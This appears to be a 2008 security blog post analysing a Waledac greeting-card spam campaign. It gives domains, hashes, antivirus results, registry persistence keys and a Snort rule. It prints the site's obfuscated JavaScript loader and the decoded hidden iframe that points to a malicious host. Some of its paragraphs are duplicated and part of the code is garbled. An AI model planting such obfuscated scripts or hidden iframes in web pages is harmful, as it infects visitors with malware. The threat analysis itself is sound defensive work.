Fast Flux Greeting Card Spam
Over the last several days my mail drops have been receiving several New Year and Christmas related greeting cards. It appears that these are all from the same group:
When visiting the site, you're greeted with a jpeg image as a web link. Any clicking on the jpeg will prompt you to download postcard.exe (or ecard.exe).
Thomas just mailed to you a Christmas Postcard. Your card will be available at:
http:// newyearcardonline. com/?cardnum=e830b6884376991e6a6960068c0a
Blessings to you from the ecards-gallery.com
(spaces added to protect from accidental clicks)
When visiting the site, you're greeted with a jpeg image as a web link. Any clicking on the jpeg will prompt you to download postcard.exe (or ecard.exe).
The domains used by this group include:
The fast flux domains are registered with paycenter.com.cn. out of China. Whois Information on those domains is posted here. Paycenter.com.cn is known to host several phishing related domains as well.
The site inclues a one line javascript,
When decoded that says:
The binary, postcard.exe has an MD5 hash of 31a8756b48576862e6312bdc063fa94. It is packed with UPX. When unpacked, it has the MD5 hash of 9f70846b6461cb881228bced7918f991.
Virus Total reports only 16 vendors catch this trojan:
The binary contains a self signed certificate:
This file does not install in the system directories, and auto restarts on reboot. This means even users who run with standard user privileges can become infected and join the botnet. If the binary is run as a normal user, the registry key is placed under "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\PromoReg".
bestchristmascard.com
bestyearcard.com
blackchristmascard.com
cardnewyear.com
cheapdecember.com
christmaslightsnow.com
decemberchristmas.com
directchristmasgift.com
freechristmassite.com
freechristmasworld.com
freedecember.com
funnychristmasguide.com
holidayxmas.com
itsfatherchristmas.com
justchristmasgift.com
livechristmascard.com
livechristmasgift.com
mirabellaclub.com
mirabellaonline.com
newlifeyearsite.com
newmediayearguide.com
newyearcardcompany.com
newyearcardfree.com
newyearcardonline.com
newyearcardservice.com
seocom.mobi
superchristmasday.com
superchristmaslights.com
superyearcard.com
themirabelladirect.com
themirabellahome.com
whitewhitechristmas.com
yourchristmaslights.com
yourdecember.com
youryearcard.com
The fast flux domains are registered with paycenter.com.cn. out of China. Whois Information on those domains is posted here. Paycenter.com.cn is known to host several phishing related domains as well.
The site inclues a one line javascript,
var kMIkfQBFc6XycsDCpstUGgN2IlVDNTr=Array(63,20,3,46,23,58,41,45,44,0,0,0,0,0,0,0,21,14,
22,25,40,47,34,7,15,4,10,42,55,30,48,49,28,29,5,27,51,8,2,19,53,1,59,0,0,0,0,9,0,37,6,32,50,16,57,
36,12,61,62,39,35,13,31,18,52,60,33,54,26,24,43,38,17,11,56),FDThSyHWyj0O6kV=
"CdqN4Whd94DX4ShwGsPpx4ikJKDX9vqNJEqFy2PpJJ8d_G8FbkhTbZqF@EPXtVqO@
sqrRtQpPkhNuMuNhSQX_WhLn38dy2qrSw6FhHqXIlhNSV",C7Et1fOaTBFVqCmFAMyas8KCrCdo48iEUDJ
=0,XSyj5GuMgbyK7p=0,mIFBLKV3Me0q4pIPy3U2w=0,idxbfk_aWcRW7,opFx77WKnhL60Qr83=
FDThSyHWyj0O6kV.length,jQTi=1024; window.status=' '; for(var eMURVlsMortMi3PphMd=Math.ceil(opFx77WKnhL60Qr83/jQTi);eMURVlsMortMi3PphMd>0;eMURVlsMortMi3PphMd--){idxbfk_aWcRW7='';
for(var BLgQQyHi=Math.min(opFx77WKnhL60Qr83,jQTi);BLgQQyHi>0;BLgQQyHi--,opFx77WKnhL60Qr83--){C7Et1fOaTBFVqCmFAMyas8KCrCdo48iEUDJ|=(kMIkfQBFc6XycsDCpstUGgN2IlVDNTr[FDThSyHWyj0O6kV.charCodeAt(mIFBLKV3Me0q4pIPy3U2w++)-48])<>=8;XSyj5GuMgbyK7p-=2} else XSyj5GuMgbyK7p=6}document.write(idxbfk_aWcRW7);}
When decoded that says:
<iframe src="http:// seofon. net/gold /click.pnp?eb0h" style="display:none"></iframe>At this time, that site returns a "Forbidden" page.
The binary, postcard.exe has an MD5 hash of 31a8756b48576862e6312bdc063fa94. It is packed with UPX. When unpacked, it has the MD5 hash of 9f70846b6461cb881228bced7918f991.
Virus Total reports only 16 vendors catch this trojan:
| File postcard.exe received on 12.31.2008 15:23:46 (CET) | |||
| Antivirus | Version | Last Update | Result |
| a-squared | - | - | - |
| AhnLab-V3 | - | - | - |
| AntiVir | - | - | TR/Proxy.Gen |
| Authentium | - | - | W32/Downloader.F.gen!Eldorado |
| Avast | - | - | - |
| AVG | - | - | Downloader.Generic_r.CL |
| BitDefender | - | - | - |
| CAT-QuickHeal | - | - | - |
| ClamAV | - | - | - |
| Comodo | - | - | - |
| DrWeb | - | - | Trojan.DownLoad.26732 |
| eSafe | - | - | Suspicious File |
| eTrust-Vet | - | - | - |
| Ewido | - | - | - |
| F-Prot | - | - | W32/Downloader.F.gen!Eldorado |
| F-Secure | - | - | Suspicious:W32/Malware!Gemini |
| Fortinet | - | - | suspicious |
| GData | - | - | - |
| Ikarus | - | - | Trojan.Win32.Waledac |
| K7AntiVirus | - | - | - |
| Kaspersky | - | - | - |
| McAfee | - | - | - |
| McAfee+Artemis | - | - | Generic!Artemis |
| Microsoft | - | - | Trojan:Win32/Waledac.A |
| NOD32 | - | - | a variant of Win32/Waledac |
| Norman | - | - | - |
| Panda | - | - | Suspicious file |
| PCTools | - | - | - |
| Prevx1 | - | - | - |
| Rising | - | - | - |
| SecureWeb-Gateway | - | - | Trojan.Proxy.Gen |
| Sophos | - | - | Sus/Spy-B |
| Sunbelt | - | - | - |
| Symantec | - | - | W32.Waledac |
| TheHacker | - | - | - |
| TrendMicro | - | - | - |
| VBA32 | - | - | - |
| ViRobot | - | - | - |
| VirusBuster | - | - | - |
| Additional information | |||
| MD5: 31a8756b48576862e6312bdc063fa94b | |||
| SHA1: b463b6d251a26a86a1f1472d6dbc0d953f4b4d5c | |||
| SHA256: 9fd8ae4b3bf5dcc239a3ea97e113683d1eb3ce564987109ccbeb2b2565c47d15 | |||
| SHA512: f436e13c9b6886b5ea5367d906d10f3f6ad596b969f205f7ceab5bcc9a1f6044e5a08a2c74ab6e09071c86f8c8fc9fcb661920e34f0208fae663ad44f9a813d6 | |||
The binary contains a self signed certificate:
-----BEGIN CERTIFICATE-----(/C=GB/ST=Berkshire/L=Newbury/O=My Company Ltd), It posts encrypted data to http:// mirabellaclub.com/ using the referer "Mozilla" which is highly unusual and could be used as a Snort signature to identify infected hosts:
MIICxTCCAi6gAwIBAgIJALvFkWML/1R5MA0GCSqGSIb3DQEBBQUAMEwxCzAJBgNV
BAYTAkdCMRIwEAYDVQQIEwlCZXJrc2hpcmUxEDAOBgNVBAcTB05ld2J1cnkxFzAV
BgNVBAoTDk15IENvbXBhbnkgTHRkMB4XDTA3MTAyMTIwMTE0OFoXDTA3MTEyMDIw
MTE0OFowTDELMAkGA1UEBhMCR0IxEjAQBgNVBAgTCUJlcmtzaGlyZTEQMA4GA1UE
BxMHTmV3YnVyeTEXMBUGA1UEChMOTXkgQ29tcGFueSBMdGQwgZ8wDQYJKoZIhvcN
AQEBBQADgY0AMIGJAoGBAJ90+vC7isUhKB8oAzMB/wmE/ypICLU2o1nr8gVlSJC8
ZXYBIE1OAziASYadAJtN0Av6KW0su3Dh8GIJy7zJBP+i094w4Yy2B0pjtLr9g2Ng
nWwFGt/0GjEagemMayf6ADUtKiE3pGG9JrRiKC99TX31AJsjYSM3qsL4Q8lTITLJ
AgMBAAGjga4wgaswHQYDVR0OBBYEFC9d9isQdTjn6UnsfY0jzn1GM14QMHwGA1Ud
IwR1MHOAFC9d9isQdTjn6UnsfY0jzn1GM14QoVCkTjBMMQswCQYDVQQGEwJHQjES
MBAGA1UECBMJQmVya3NoaXJlMRAwDgYDVQQHEwdOZXdidXJ5MRcwFQYDVQQKEw5N
eSBDb21wYW55IEx0ZIIJALvFkWML/1R5MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcN
AQEFBQADgYEAWYphFm/bi5HP7hmPEGt8j0JfxcvW8P1Wt2XCopO8GiwSOUnRFCCa
m+PIYZnuTSQMHOfQCjoCD2Ih+jEGu+bOpcHCly/Erd7swHo5WcGhFqpyyiTQt1Jj
bbDdKRpbzuY1pp1LxfwsoEadUi8wZ8HtIrg5tmd6J1IBkXh9e4z0rvk=
-----END CERTIFICATE-----
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"2009 Holiday Greeting Spam - Unusual Referer String (Mozilla)"; flow:to_server,established; content:"Referer\: Mozilla"; nocase; classtype:trojan-activity; sid:999999;)The binary creates a registry key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\PromoReg" which is used to launch the binary from the saved location (in my case, I placed it on the desktop).
This file does not install in the system directories, and auto restarts on reboot. This means even users who run with standard user privileges can become infected and join the botnet. If the binary is run as a normal user, the registry key is placed under "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\PromoReg".
I started mapping the FastFlux IP's and came up with about 150 unique ip addresses, which is available here.
Update 1: More information is available here:
http://www.symantec.com/norton/security_response/writeup.jsp?docid=2008-122308-1429-99&tabid=2
and here: http://isc.sans.org/diary.html?storyid=5557
and here: http://asert.arbornetworks.com/2008/12/another-holiday-another-e-card-run-waledec/
Update 2: Shadowserver has posted a great write up here:
http://www.shadowserver.org/wiki/pmwiki.php?n=Calendar.20081231
Update 1: More information is available here:
http://www.symantec.com/norton/security_response/writeup.jsp?docid=2008-122308-1429-99&tabid=2
and here: http://isc.sans.org/diary.html?storyid=5557
and here: http://asert.arbornetworks.com/2008/12/another-holiday-another-e-card-run-waledec/
Update 2: Shadowserver has posted a great write up here:
http://www.shadowserver.org/wiki/pmwiki.php?n=Calendar.20081231

